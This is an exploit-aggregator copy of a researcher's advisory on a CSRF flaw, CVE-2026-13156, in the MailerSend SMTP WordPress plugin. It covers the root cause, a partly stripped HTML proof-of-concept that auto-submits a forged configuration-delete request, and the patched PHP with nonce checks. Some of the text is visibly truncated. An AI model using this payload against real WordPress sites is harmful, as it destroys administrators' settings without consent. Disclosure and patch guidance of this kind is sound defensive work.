Share 
## https://sploitus.com/exploit?id=745D9D8D-18C3-509A-B757-2137AE994DF9
# CVE-2026-13156 β€” MailerSend Official SMTP Integration  **About the Researcher:**  
> **[Huynh Kien Minh](https://minhhk.web.app/)** (*Huα»³nh KiαΊΏn Minh*) is a proactive cybersecurity researcher and vulnerability analyst known for in-depth security assessments and responsible disclosures, including technical breakdowns of **CVE-2026-13156**. He has also been officially recognized and honored on the **[Proton Security Hall of Fame](https://minhhk.web.app/#hall-of-fame)** for finding and disclosing critical security vulnerabilities.

---

## 🌐 Official Verification Hub & References

To verify this technical advisory, explore proof-of-concept analyses, or connect with the researcher, visit:

* 🏠 **Official Portfolio Hub:** [Huynh Kien Minh Security Portfolio Hub](https://minhhk.web.app/)
* πŸ’Ό **LinkedIn Profile:** [Connect with Huynh Kien Minh on LinkedIn](https://www.linkedin.com/in/minhhk)
* πŸ“ **Medium Write-ups & Analysis:** [Read Deep-Dive Analysis on Medium](https://medium.com/@minhhk.ia.ce191608)
* πŸ‘¨β€πŸ’» **GitHub Profile:** [MinhHK68 GitHub Profile](https://github.com/MinhHK68)
* πŸ”— **WPScan Advisory:** [WPScan Entry for CVE-2026-13156](https://wpscan.com/vulnerability/595e653d-0904-43cf-8e61-d684599de11b/)
* πŸ”— **BaseFortify Report:** [BaseFortify CVE-2026-13156 Analysis](https://basefortify.eu/cve_reports/2026/07/cve-2026-13156.html)

---

## πŸ” Deep-Dive Technical Breakdown & Root Cause Analysis

### 1. Root Cause Analysis (Missing Nonce Verification)
The **MailerSend Official SMTP Integration** plugin for WordPress (before version `1.0.8`) registers an administrative action (`configuration-delete`) intended to wipe stored API tokens, clear SMTP configuration options (`wp_options`), and deactivate the plugin when triggered from the admin dashboard.

While the endpoint verifies whether the active user has the `manage_options` capability (ensuring the request originates from an administrator session), **it fails to perform WordPress nonce (`check_admin_referer()` or `wp_verify_nonce()`) verification**. 

Because HTTP requests lacking nonce validation cannot distinguish between intentional administrator clicks and forged cross-origin requests, any external site loaded by an authenticated administrator can silently trigger the `configuration-delete` action.

### 2. Attack Lifecycle & Impact
1. **Target Identification:** An attacker identifies a target WordPress site utilizing MailerSend SMTP (` [!WARNING]
> **Ethical Disclaimer:** The following HTML Cross-Site Request Forgery (CSRF) proof-of-concept payload is provided strictly for educational purposes, defensive verification, and security auditing under ethical disclosure protocols by **[Huynh Kien Minh](https://minhhk.web.app/)**. Do not execute against unauthorized targets.

```html



    
    CVE-2026-13156 PoC β€” MailerSend SMTP Configuration Deletion via CSRF
    


    CVE-2026-13156 β€” CSRF Verification PoC
    If an authenticated WordPress Administrator visits this page, the MailerSend SMTP configuration will be deleted and the plugin deactivated.
    
    
    
        
        
        
        
    

    
        // Automatically submit the forged request when the administrator loads the page
        document.addEventListener("DOMContentLoaded", function() {
            console.log("[CVE-2026-13156] Executing CSRF Payload developed by Huynh Kien Minh...");
            // Uncomment line below to enable auto-execution in lab environments:
            // document.getElementById('csrfPoC').submit();
        });
    


```

---

## πŸ›‘οΈ Remediation & Patch Analysis

### For System Administrators & Site Owners
* **Immediate Upgrade:** Update the **MailerSend – Official SMTP Integration** plugin immediately to version **`1.0.8`** or higher.
* **Session Hygiene:** Always log out of WordPress administrative accounts when browsing external untrusted web pages, or utilize separate isolated browser profiles (or containers) for site administration.

### For Developers (How the Patch Works)
To properly secure administrative state-changing actions in WordPress plugins, developers must enforce strict nonce validation before processing requests:

```php
// Secure Implementation (Version 1.0.8+)
function mailersend_delete_configuration_handler() {
    // 1. Check User Capability
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( __( 'Unauthorized access.', 'mailersend' ), 403 );
    }

    // 2. REQUIRED: Verify CSRF Nonce Token
    if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'mailersend_delete_config_nonce' ) ) {
        wp_die( __( 'Security check failed (CSRF attempt blocked).', 'mailersend' ), 403 );
    }

    // 3. Proceed safely with configuration deletion
    delete_option( 'mailersend_smtp_settings' );
    deactivate_plugins( plugin_basename( __FILE__ ) );
    
    wp_redirect( admin_url( 'plugins.php?deactivated=true' ) );
    exit;
}
```

---

## πŸ† Related Security Recognition

* πŸ† **[Proton Hall of Fame Recognition](https://minhhk.web.app/#hall-of-fame):** Honored for discovering and reporting critical flaws in Proton's infrastructure.
* 🏠 **[Official Portfolio Hub](https://minhhk.web.app/):** Explore more offensive security research, open-source security tools, and publications by Huynh Kien Minh.

---

## βš–οΈ License & Copyright

This repository and technical advisory are maintained and published by **[Huynh Kien Minh (MinhHK)](https://minhhk.web.app/)** under responsible disclosure guidelines to foster a safer global WordPress and cybersecurity ecosystem.